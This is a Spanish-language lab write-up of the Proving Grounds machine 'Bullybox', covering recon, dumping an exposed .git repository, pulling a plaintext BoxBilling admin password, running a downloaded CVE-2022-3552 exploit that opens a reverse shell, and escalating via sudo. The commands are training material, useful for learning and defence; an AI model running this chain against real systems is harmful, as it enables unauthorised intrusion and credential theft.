the_open_door
café
ESEN

Bullybox

Proving Grounds PracticeMediaLinux192.168.186.27

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#boxbilling#git-dump#cve-2022-3552#credential-disclosure#vhost#sudo-group#rce#oscp
TL;DR. Bullybox sirve BoxBilling tras el vhost bullybox.local y deja el directorio .git expuesto. Lo descargamos con git-dumper (git-dump) y en bb-config.php aparece la contraseña del administrador. Con ella, la versión vulnerable de BoxBilling cae ante CVE-2022-3552 (RCE autenticado), que nos da shell como yuki (CVE-2022-3552). Ese usuario está en el grupo sudo, así que un simple sudo su nos convierte en root (abuso del grupo sudo).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos abiertos:

ping -c 1 192.168.186.27
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.186.27
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.186.27 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).

SSH sin credenciales no es vía de entrada; el foco es el 80.

HTTP - TCP 80

Un curl a la IP devuelve un redirect por JavaScript hacia http://bullybox.local/. El servidor usa virtual hosting por nombre, así que añadimos la entrada a /etc/hosts para que resuelva:

curl 192.168.186.27
echo "192.168.186.27  bullybox.local" | sudo tee -a /etc/hosts
<script>
    window.location.href = "http://bullybox.local/"
</script>

Con el nombre resuelto, la web carga BoxBilling, un sistema PHP de facturación y gestión de clientes:

Página de BoxBilling en bullybox.local con el formulario Sign In / Create new account

Descubrir rutas y un .git expuesto

dirsearch revela el panel de administración (/bb-admin) y, lo más jugoso, un .git accesible por HTTP:

dirsearch -u http://bullybox.local/ -t 200 --exclude-status=404,403,521,401,503,200
301  /.git  ->  http://bullybox.local/.git/
301  /.git/refs/heads
301  /.git/logs/refs
302  /bb-admin  ->  http://bullybox.local/bb-admin/staff/login
302  /client    ->  http://bullybox.local/login
302  /dashboard ->  http://bullybox.local/login

Un repositorio Git servido sin protección suele contener el código fuente completo de la aplicación, con sus ficheros de configuración. Es un descuido clásico de despliegue.

Volcar el .git con git-dumper

git-dumper (repo) reconstruye el repositorio entero descargando los objetos por HTTP (git-dump). Se clona y se instalan sus dependencias (dulwich es la que hace el trabajo de leer los objetos Git):

git clone https://github.com/arthaud/git-dumper
cd git-dumper
ls
pip3 install -r requirements.txt --break-system-packages

git clone de git-dumper: el repo trae git_dumper.py y requirements.txt, y pip3 confirma que las dependencias ya están satisfechas

Cloning into 'git-dumper'...
Receiving objects: 100% (204/204), 67.13 KiB | 1.92 MiB/s, done.

LICENSE  README.md  git_dumper.py  pyproject.toml  requirements.txt  setup.cfg

Requirement already satisfied: PySocks in /usr/lib/python3/dist-packages (1.7.1)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (2.32.5)
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (4.14.3)
Requirement already satisfied: dulwich in /usr/local/lib/python3.13/dist-packages (0.24.10)
Requirement already satisfied: requests-pkcs12 in /usr/local/lib/python3.13/dist-packages (1.27)

Con la herramienta lista, se apunta al .git expuesto:

python3 git_dumper.py http://bullybox.local .git/

git-dumper reconstruye el repositorio: aparecen bb-config.php, bb-config-sample.php, bb-library, bb-vendor y el resto del código de BoxBilling

CHANGELOG.md  README.md             bb-cron.php  bb-ipn.php   bb-locale   bb-update.php  config       index      logs         rb.php
HEAD          bb-config-sample.php  bb-data      bb-library   bb-modules  bb-uploads     description  index.php  objects      refs
LICENSE       bb-config.php         bb-di.php    bb-load.php  bb-themes   bb-vendor      hooks        info       packed-refs  robots.txt

Tenemos en local todo el código de BoxBilling, incluido bb-config.php, donde estas aplicaciones guardan las credenciales de la base de datos y del administrador.

Filtración de la contraseña de admin

Buscamos contraseñas en el código volcado:

grep -ri password . | tail

grep -ri password muestra en ./bb-config.php la línea 'password' =&gt; 'Playing-Unstylish7-Provided'

./bb-config.php:    'password' => 'Playing-Unstylish7-Provided',

La contraseña Playing-Unstylish7-Provided está en claro en bb-config.php. Combinada con la cuenta de administrador (admin@bullybox.local), nos da acceso al panel.

BoxBilling - versión vulnerable

searchsploit confirma que esta versión de BoxBilling tiene una RCE conocida:

searchsploit boxbilling
BoxBilling <= 4.22.1.5 - Remote Code Execution (RCE)   php/webapps/51108.txt

Es CVE-2022-3552, una ejecución remota de código autenticada: el panel procesa de forma insegura ciertos campos y un administrador puede convertir esa confianza en RCE (CVE-2022-3552).

Explotación

Buscar y descargar el exploit

El fichero de Exploit-DB (51108.txt) es la descripción de la vulnerabilidad, no un exploit ejecutable, así que buscamos una implementación. La búsqueda boxbilling exploit devuelve la propia entrada de Exploit-DB y, justo debajo, un repositorio de GitHub con el CVE ya automatizado:

Búsqueda de boxbilling exploit: la entrada de Exploit-DB BoxBilling 4.22.1.5 RCE y el repositorio de GitHub 0xk4b1r/CVE-2022-3552

Exploit DB
BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
28 mar 2023. CVE-2022-3552. webapps exploit for PHP platform.

GitHub
CVE-2022-3552 - BoxBilling<=4.22.1.5
BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) - 0xk4b1r/CVE-2022-3552

Descargamos el script directamente del repositorio (repo):

wget https://raw.githubusercontent.com/0xk4b1r/CVE-2022-3552/refs/heads/main/CVE-2022-3552.py

wget descarga CVE-2022-3552.py del repositorio de 0xk4b1r: 200 OK y 6579 bytes guardados

HTTP request sent, awaiting response... 200 OK
Length: 6579 (6.4K) [text/plain]
Saving to: 'CVE-2022-3552.py'
'CVE-2022-3552.py' saved [6579/6579]

CVE-2022-3552: RCE autenticada

El payload del exploit devuelve la conexión al puerto 22, así que además del listener por defecto de Penelope (4444) hay que abrir uno en ese puerto antes de lanzarlo:

penelope
(Penelope)> listeners add -p 22

El exploit hace login con las credenciales que tenemos y entrega la shell:

python3 CVE-2022-3552.py --domain http://bullybox.local/ -u 'admin@bullybox.local' -p 'Playing-Unstylish7-Provided'

La salida confirma el flujo (Successfully logged in, Payload saved successfully, Getting Shell) y la conexión cae en el manejador (penelope), que mejora la shell a PTY. Aterrizamos como yuki:

El exploit imprime "Successfully logged in / Payload saved successfully / Getting Shell" y penelope recibe la shell de bullybox-192.168.186.27 como yuki

[+] Successfully logged in
[+] Payload saved successfully
[+] Getting Shell

[+] Listening for reverse shells on 0.0.0.0:22
[+] Got reverse shell from bullybox~192.168.186.27-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!

yuki@bullybox:/$ whoami
yuki

Post-explotación

Escalada: abuso del grupo sudo

Lo primero es mirar a qué grupos pertenece yuki. El id lo dice todo: está en el grupo sudo (GID 27), el que /etc/sudoers autoriza por defecto a ejecutar cualquier comando como root (abuso del grupo sudo):

id
sudo su

id muestra groups=1001(yuki),27(sudo); sudo su devuelve una shell de root

uid=1001(yuki) gid=1001(yuki) groups=1001(yuki),27(sudo)
yuki@bullybox:/$ sudo su
root@bullybox:/# whoami
root

Pertenecer al grupo sudo sin restricciones es la llave maestra: sudo su pide la contraseña del propio yuki (la misma que ya conocíamos) y devuelve una shell de root.

Proof

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en bullybox (192.168.186.27)

a090ee0216665c29eb91e45126538385
root

Cadena de ataque

HTTP (80)  --  vhost bullybox.local -> BoxBilling
        │  /.git expuesto -> git-dumper
        ▼
código fuente con bb-config.php
        │  contraseña de admin en claro: Playing-Unstylish7-Provided
        │  CVE-2022-3552 (RCE autenticado)
        ▼
shell como yuki
        │  id -> grupo sudo (GID 27)
        │  sudo su
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Un .git expuesto es el código fuente completo. git-dumper reconstruyó toda la aplicación, y con el código llegaron las credenciales. Nunca debe servirse el directorio .git desde el document root.
  • Las credenciales en ficheros de configuración no son secretas si el código se filtra. bb-config.php guardaba la contraseña del admin en claro; bastó un grep para encontrarla.
  • Muchas RCE son autenticadas, pero la autenticación se filtra antes. CVE-2022-3552 exige sesión de admin; el .git nos la dio. La cadena vale por cómo encajan las piezas, no por una sola vulnerabilidad.
  • Pertenecer al grupo sudo es ser root. id debería ser de los primeros comandos tras conseguir shell: un GID 27 resolvió la escalada con un único sudo su.
Cheatsheet de comandos 8 comandos

Repaso rápido